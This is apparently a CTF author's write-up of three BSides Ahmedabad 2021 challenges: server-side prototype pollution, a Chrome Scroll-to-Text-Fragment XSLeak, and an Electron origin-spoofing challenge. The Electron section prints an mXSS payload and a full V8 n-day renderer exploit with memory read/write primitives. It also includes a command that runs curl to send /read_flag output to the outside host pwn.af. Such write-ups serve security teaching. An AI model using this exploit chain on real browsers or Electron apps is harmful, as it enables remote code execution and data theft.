"1 Day XSLeak and a trailer for ElectronJS bugs"

-Author's writeup for BSides Ahmedabad CTF 2021

Intro

On Nov 6th zer0pts hosted a 24h CTF for BSides Ahmedabad Conference, I prepared 3 challenges for the event namely pugpug, bettercatalog, Neutron. I hoped for more players to try my challenges, but because of Google's Hackcelr8 taking place most of the top teams were busy building tooling. So, bettercatalog and Neutron challenges were left unsolved during the event, then I posted the challenges on Twitter for others to try. Gladly, layton got first blood on the next day of the event on bettercatalog challenge and vakzz got first blood after 3 days of the event on Neutron using an unintended dope solution.

TL;DR of the challenges

pugpug

This is a pretty interesting prototype pollution challenge on the server-side, it is based on a bug found by BlackFan to bypass Object sealing on a bug bounty site. You can find more details of the challenge on huli's blog

bettercatalog

This is a Scroll to Text Fragment XSLeak challenge, based on the bug I found in google chrome which got duped sadly :/.

Neutron

 Neutron is an ElectronJS challenge that has both web and pwn elements, this was based on the real bug which I wasn't able to achieve because of some reason. Basically, the idea is to spoof the origin of the same-site website in a frame to parent's origin to get access to the interesting API on the parent window which is exposed via contextBridge.exposeInMainWorld. As usual, ptr-yudai helped with the pwn part to write a render exploit to spoof the origin of the same-site website using a v8 nday bug by overwriting the security_context_.security_origin_.host_ to the parent's host and document_.url_ to the parent's URL. 

bettercatalog

I don't want to go into much detail about the solution to this challenge because you can find layton's writeup here. I want to share a funny story about finding this bug.

Details of the challenge

bettercatalog is a copy of the catalog challenge given by bluepichu for PlaidCTF 2020 with an important modification(check the diff in the below image) of removing the uBlock extension in the chromium bot. I highly suggest reading the catalog solution here before reading this. 

Basically, scroll to text fragment only works in a top-level browsing context and user-gesture initiated navigations. When a link is clicked in chrome browser with the uBlock extension enabled, it enables user activation to the navigated page. So, bluepichu used this flaw to his challenge to leak the flag via STTF and lazy loading images. In my challenge, I removed the uBlock extension which means that the player either has to find an 0day user activation bypass or use a 1day.

Vulnerability

While trying to solve, lbherrera's XSLeak challenge names Messagekeeper in pwn2own CTF. I thought messagekeeper challenge is an XSLeak challenge using STTF, so I spent a lot of time doing various stuff using STTF. At one point, I noticed an interesting behavior of scroll to text fragment taking place in an iframe when navigation is initiated from the same origin site. This is according to this document is a security flaw because for two reasons, first STTF is limited to user-gesture initiated navigations and, second it shouldn't work in an iframe. So, I created a POC and double-checked and it eventually turned out to be a flaw, then I reported which sadly got fixed a week before I submitted it on chrome 92.  Check the video POC below, works on chrome 91.

CTF Challenge

Initially, I thought of writing an application for this challenge, then I remembered the catalog challenge in Plaid CTF with 0 solves. So, I thought why not give the same challenge by removing the uBlock extension and after some hustle, I was able to create POC to leak the flag using my bug. Check the video below

Neutron

Introduction

As you may have noticed the title of the blog has "trailer of ElectronJS bugs", which I actually mean because I have a lot of electron desktop application bugs to show 😁.

This challenge is based on a real application where I was able to achieve XSS on an iframe but it doesn't have any interesting electron stuff to show impact, but the parent has some interesting APIs exposed via contextBridge.exposeInMainWorld. Eventually, I failed to pwn the application because the origin which I have XSS on is not same-site, so chrome creates a separate process according to the site-isolation and I know the spoofing doesn't work in this case, so I failed to pwn the application. 

CTF Challenge

I thought why not give a CTF challenge based on this scenario. Then I created a basic electron application where the renderer has a buggy IPC exposed to the main site http://electron.lol:1337 and this site loads a same-site website http://electron.lol:6969 in an iframe which has XSS in it and uses an old version of an electron with Node Integration disabled, Context Isolation enabled and Sandbox enabled. You can find the full source code here.


const mainWindow = new BrowserWindow({

       width: 1400,

       height: 800,

       webPreferences: {

           sandbox:true,

           contextIsolation: true,

           preload: path.join(__dirname, 'preload.js'),

//preload.js

//const { ipcRenderer, contextBridge } = require('electron')

//contextBridge.exposeInMainWorld('electron',

 //{

   //safeEval: (input) => ipcRenderer.invoke('safeEval', input)

 //}

//)

}})

 mainWindow.loadURL('http://electron.lol:1337');//<html>...<iframe src='http://electron.lol:6969'></iframe>...</html>

 ipcMain.handle('safeEval', (event, input) => {

       if (mainWindow) {

        eval(input);

       }

    })

This is how the application looks 

XSS

The sanitization of messages takes place via Google Caja which is an ancient sanitiser by google and it is deprecated maybe because of MXSS issues? 

XSS poc

<select><iframe></select><iframe srcdoc='<script>alert(1337)</script>'></iframe></select>

Now, the XSS is in electron.lol:6969, it can't access top.safeEval because of same-origin policy. It might seem impossible to achieve RCE because of all these limitations.

Spoofing Origin of same-site page

Because the sites electron.lol:6969 and electron.lol:1337 are same-site, site-isolation won't be applied here. So, chrome uses the same process for both of the pages. Interestingly, with a renderer exploit we can overwrite the origin of our page to different same-site websites and now if we access top.safeEval chrome won't throw SOP error. Here we only need to overwrite the port of the origin.

To spoof the origin we have to overwrite the port to 1337 at security_context_.security_origin_.port_ from 6969.

POC by ptr-yudai

/**

* Utils

*/

var conversion_buffer = new ArrayBuffer(8);

var float_view = new Float64Array(conversion_buffer);

var int_view = new BigUint64Array(conversion_buffer);

BigInt.prototype.hex = function() {

    return '0x' + this.toString(16);

};

BigInt.prototype.i2f = function() {

    int_view[0] = this;

    return float_view[0];

}

Number.prototype.f2i = function() {

    float_view[0] = this;

    return int_view[0];

}

function gc() {

    for (var i = 0; i < 0x10000; ++i)

        var a = new ArrayBuffer();

}


/**

 * Exploit

 */

function pwn()

{

    class LeakArrayBuffer extends ArrayBuffer {

        constructor(size) {

            super(size);

            this.slot = 0xb33f;

        }

    }


    function jitme(a) {

        var x = -1;

        if (a) x = 0xFFFFFFFF;

        var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));

        arr.shift();

        var local_arr = Array(2);

        local_arr[0] = 5.1;

        var buff = new LeakArrayBuffer(0x1000);

        arr[0] = 0x1122;

        return [arr, local_arr, buff];

    }


    /* Cause bug */

    gc();

    console.log("[+] START");

    for (var i = 0; i < 0x10000; ++i)

        jitme(false);

    gc();

    [corrput_arr, rwarr, corrupt_buff] = jitme(true);

    corrput_arr[12] = 0x22444;

    delete corrput_arr;


    /* Primitives */

    function set_backing_store(l, h) {

        rwarr[4] = ((h << 32n) | (rwarr[4].f2i() & 0xffffffffn)).i2f();

        rwarr[5] = ((rwarr[5].f2i() & 0xffffffff00000000n) | l).i2f();

    }

    function addrof(o) {

        corrupt_buff.slot = o;

        return (rwarr[9].f2i() - 1n) & 0xffffffffn;

    }


    var corrupt_view = new DataView(corrupt_buff);

    var corrupt_buffer_ptr_low = addrof(corrupt_buff);

    console.log("[+] leak = " + corrupt_buffer_ptr_low.hex());


    /* Fake obj */

    var idx0Addr = corrupt_buffer_ptr_low - 0x10n;

    var baseAddr = (corrupt_buffer_ptr_low & 0xffff0000n) - ((corrupt_buffer_ptr_low & 0xffff0000n) % 0x40000n) + 0x40000n;

    var delta = baseAddr + 0x1cn - idx0Addr;

    var addr_upper;

    if ((delta % 8n) == 0n) {

        var baseIdx = delta / 8n;

        addr_upper = (rwarr[baseIdx].f2i() & 0xffffffffn) << 32n;

    } else {

        var baseIdx = ((delta - (delta % 8n)) / 8n);

        addr_upper = rwarr[baseIdx].f2i() & 0xffffffff00000000n;

    }

    console.log("[+] upper = " + addr_upper.hex());


    function aar64(addr) {

        set_backing_store(addr >> 32n, addr & 0xffffffffn);

        return corrupt_view.getFloat64(0, true).f2i();

    }

    function aaw64(addr, value) {

        set_backing_store(addr >> 32n, addr & 0xffffffffn);

        corrupt_view.setFloat64(0, value.i2f(), true);

    }


    /* Leak security_context_ */

    var addr_window = addr_upper | addrof(window);

    console.log("[+] window = " + addr_window.hex());

    var addr_ldomwin = aar64(addr_window + 0x18n) + 0x80n;

    console.log("[+] LoclDOMWindow = " + addr_ldomwin.hex());

    var addr_security = aar64(addr_ldomwin + 0x60n);

    console.log("[+] security = " + addr_security.hex());


    /* Overwrite security context */

    console.log("[+] window.origin = " + window.origin);

   //  try { console.log(victim.contentWindow.document.location.href); } catch(e) { console.log(e); }

    console.log("[+] addr_sec port = "+ (addr_security + 0x20n).hex())

    aaw64(addr_security + 0x20n, 1337n); //overwriting port


    console.log("[+] window.origin = " + window.origin);

    try { top.electron.safeEval('console.log(require("child_process").exec(\'curl "http://pwn.af:1337/`/read_flag | base64 -w 0`"\'));')} catch(e) { console.log(e); }

}


pwn()

Finaly payload

<select><iframe></select><iframe srcdoc='<script src="http://server/blahblah/exp.js"></script>'></iframe></select>

The End

One main important thing I realized during this whole process is that I have to stop being lazy when it comes to learning v8 exploitation and spend a lot of time learning it😒.